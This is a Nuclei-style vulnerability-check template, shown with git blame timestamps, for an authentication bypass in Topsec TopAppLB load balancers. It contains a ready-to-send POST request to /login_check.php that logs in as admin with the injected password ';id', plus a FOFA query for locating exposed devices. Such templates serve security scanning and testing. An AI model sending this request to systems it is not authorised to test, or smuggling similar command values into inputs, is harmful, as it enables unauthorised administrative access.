2023-09-14 19:11:38 +00:00
|
|
|
id: topsec-topapplb-auth-bypass
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Topsec TopAppLB - Authentication Bypass
|
|
|
|
author: SleepingBag945
|
|
|
|
severity: high
|
|
|
|
description: |
|
|
|
|
Topsec TopAppLB is vulnerable to authetication bypass .Enter any account on the login page, the password is `;id`.
|
|
|
|
reference:
|
2023-09-17 16:11:07 +00:00
|
|
|
- https://github.com/cqr-cryeye-forks/goby-pocs/blob/main/Topsec-TopAppLB-Any-account-Login.json
|
2023-09-14 19:11:38 +00:00
|
|
|
metadata:
|
2023-09-18 12:45:28 +00:00
|
|
|
verified: true
|
2023-10-14 11:27:55 +00:00
|
|
|
max-request: 2
|
|
|
|
fofa-query: title="TopApp-LB 负载均衡系统"
|
2023-09-14 19:11:38 +00:00
|
|
|
tags: topsec,topapplb,auth-bypass
|
|
|
|
|
|
|
|
http:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /login_check.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
|
|
userName=admin&password=%3Bid
|
|
|
|
- |
|
2023-09-17 16:11:07 +00:00
|
|
|
GET / HTTP/1.1
|
2023-09-14 19:11:38 +00:00
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
matchers:
|
|
|
|
- type: dsl
|
|
|
|
dsl:
|
|
|
|
- 'status_code_1 == 302 && status_code_2 == 200'
|
|
|
|
- 'contains(body_2,"var IsHeadMin ")'
|
|
|
|
- 'contains(header_1,"redirect.php") && !contains(tolower(header_1), "error=1")'
|
2023-10-14 11:27:55 +00:00
|
|
|
condition: and
|
2023-11-27 09:19:41 +00:00
|
|
|
|
|
|
|
# digest: 4b0a00483046022100e8f44d9990db2387a73ae9797f68b7ae5979aeee4c2b7ece9e389bf4bcd17321022100e4fa7bfe663a13d29c25eced27b5aaf6f66f8e1d78a56c430cdf479cf3b0d365:922c64590222798bb761d5b6d8e72950
|